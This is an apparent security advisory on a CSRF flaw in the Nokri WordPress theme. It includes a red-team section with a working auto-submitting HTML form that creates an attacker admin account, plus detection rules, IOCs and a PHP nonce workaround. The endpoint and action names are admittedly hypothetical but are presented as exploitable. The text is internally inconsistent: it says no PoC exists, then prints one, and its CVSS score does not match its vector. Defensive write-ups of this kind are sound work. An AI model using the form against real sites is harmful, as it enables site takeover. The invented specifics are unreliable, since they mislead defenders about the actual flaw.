CVE-2025-58259

Executive Summary

CVE-2025-58259 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Nokri WordPress theme by Scriptsbundle, affecting versions up to and including 1.6.4. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying site settings, creating new admin users, or injecting malicious content, without their consent. The attack requires user interaction (clicking a crafted link or visiting a malicious page) and has a CVSS score of 7.1 (High). As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress theme (Nokri). Since it is not distributed via NPM, PyPI, Go, or Ruby registries, supply chain risks are limited to direct theme installations from the vendor or third-party marketplaces. Users should verify the integrity of their theme files and monitor for updates from Scriptsbundle.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.1 (High)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): High – An attacker could read sensitive data (e.g., user lists, configuration).
• Integrity (I): High – An attacker could modify site settings or inject content.
• Availability (A): High – An attacker could delete critical data or lock out administrators.

Threat Level: High. The lack of a patch and the potential for full site compromise make this a critical risk for all Nokri users.

Deep Dive & Mechanics

The Nokri theme, a job board WordPress theme, fails to implement proper CSRF tokens or nonces on sensitive administrative actions. CSRF attacks exploit the trust a site has in a user's browser. When an authenticated administrator visits a malicious page, the attacker's crafted request (e.g., a hidden form submission or image tag) is executed in the context of the admin's session.

Attack Flow:

1. The attacker crafts a malicious HTML page containing a form that submits a request to the Nokri admin panel (e.g., /wp-admin/admin-ajax.php?action=create_new_admin_user).
2. The attacker lures an authenticated Nokri administrator to visit this page (via phishing email, social media, or a compromised site).
3. The victim's browser automatically sends the forged request, including their session cookies.
4. The Nokri theme processes the request without verifying a CSRF token, executing the attacker's action (e.g., creating a new admin user with a known password).

Root Cause: The absence of nonce verification in AJAX handlers and admin-facing forms. WordPress provides built-in functions like wp_nonce_field() and check_ajax_referer() to prevent CSRF, but the Nokri theme does not use them.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on standard WordPress CSRF prevention.

Vulnerable Code (Nokri <= 1.6.4):

// In a theme AJAX handler (e.g., nokri_ajax_create_user)
add_action('wp_ajax_nokri_create_user', 'nokri_ajax_create_user');
function nokri_ajax_create_user() {
    // No nonce check
    $username = sanitize_text_field($_POST['username']);
    $email = sanitize_email($_POST['email']);
    $password = sanitize_text_field($_POST['password']);
    // Create user without CSRF protection
    wp_create_user($username, $password, $email);
    wp_send_json_success('User created');
}

Patched Code (Hypothetical):

// In a theme AJAX handler
add_action('wp_ajax_nokri_create_user', 'nokri_ajax_create_user');
function nokri_ajax_create_user() {
    // Verify nonce
    if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'nokri_create_user_nonce')) {
        wp_send_json_error('CSRF validation failed');
        return;
    }
    $username = sanitize_text_field($_POST['username']);
    $email = sanitize_email($_POST['email']);
    $password = sanitize_text_field($_POST['password']);
    wp_create_user($username, $password, $email);
    wp_send_json_success('User created');
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with the Nokri theme (version 1.6.4) on a local server (e.g., XAMPP or Docker).
2. Create an admin user and log in.
3. Set up a second machine (attacker) with a simple HTTP server (e.g., Python's http.server).

Exploitation Steps:

1. On the attacker machine, create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target-site/wp-admin/admin-ajax.php" method="POST" id="csrf_form">
    <input type="hidden" name="action" value="nokri_create_user">
    <input type="hidden" name="username" value="attacker_admin">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="hidden" name="password" value="P@ssw0rd123!">
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

2. Host this file on the attacker's server: python3 -m http.server 8080.
3. Send the link http://attacker-ip:8080/csrf_exploit.html to the victim (Nokri admin).
4. When the admin visits the link, the form auto-submits, creating a new admin user.

Expected Outcome: A new user attacker_admin with admin privileges is created. The attacker can then log in and take full control of the WordPress site.

Blue Team (Defensive)

Detection Steps:

1. Monitor for unexpected AJAX requests to /wp-admin/admin-ajax.php with suspicious action parameters (e.g., nokri_create_user, nokri_update_settings).
2. Review server logs for POST requests to admin-ajax.php from external referrers.
3. Check for newly created users with unusual usernames or email addresses.
4. Verify that all admin actions require a valid nonce by inspecting the page source.

Mitigation (Temporary):

• Add a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a valid Referer header matching the site domain.
• Implement a custom plugin that adds nonce checks to all Nokri AJAX handlers (requires code modification).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=nokri_create_user or similar.
  • Referer headers pointing to external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Unexpected user entries in the wp_users database table.
  • Modified theme files (e.g., functions.php or AJAX handler files) with added user creation logic.
• Behavioral IOCs:
  • New admin users created without standard registration flow.
  • Unusual changes to site settings (e.g., homepage URL, user roles).

Detection Engineering

YARA Rule

rule Detect_Nokri_CSRF_Exploit {
    meta:
        description = "Detects malicious HTML files attempting CSRF against Nokri theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58259"
    strings:
        $ajax_action = "admin-ajax.php" nocase
        $nokri_action = /action=(nokri_create_user|nokri_update_settings|nokri_delete_user)/ nocase
        $form_submit = /<form[^>]*>.*?<\/form>/s
    condition:
        $ajax_action and $nokri_action and #form_submit > 0
}

Sigma Rule

title: Nokri CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to Nokri AJAX handlers without proper CSRF tokens
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=nokri_'
    condition: selection
falsepositives:
    - Legitimate admin actions (if nonce is present, this rule may generate false positives)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58259 Nokri CSRF Exploit Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=nokri_"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Nokri theme and switch to a secure alternative (e.g., a default WordPress theme) until a patch is available.
2. Implement a WAF with rules to block CSRF-like requests (e.g., missing Referer header).
3. Audit user accounts for any unauthorized admin users and remove them.

Long-Term Fix:

• Contact Scriptsbundle for an official patch. If none is forthcoming, consider hiring a developer to add nonce verification to all AJAX handlers and admin forms in the theme.
• Replace the theme with a supported, actively maintained alternative.

Workaround (Code-Level): Add the following to the theme's functions.php to enforce nonce checks (requires testing):

add_action('wp_ajax_nokri_create_user', 'nokri_secure_ajax', 1);
function nokri_secure_ajax() {
    if (!isset($_REQUEST['_wpnonce']) || !wp_verify_nonce($_REQUEST['_wpnonce'], 'nokri_nonce')) {
        wp_die('CSRF detected', 403);
    }
}

Valters IT
Securing Digital Frontiers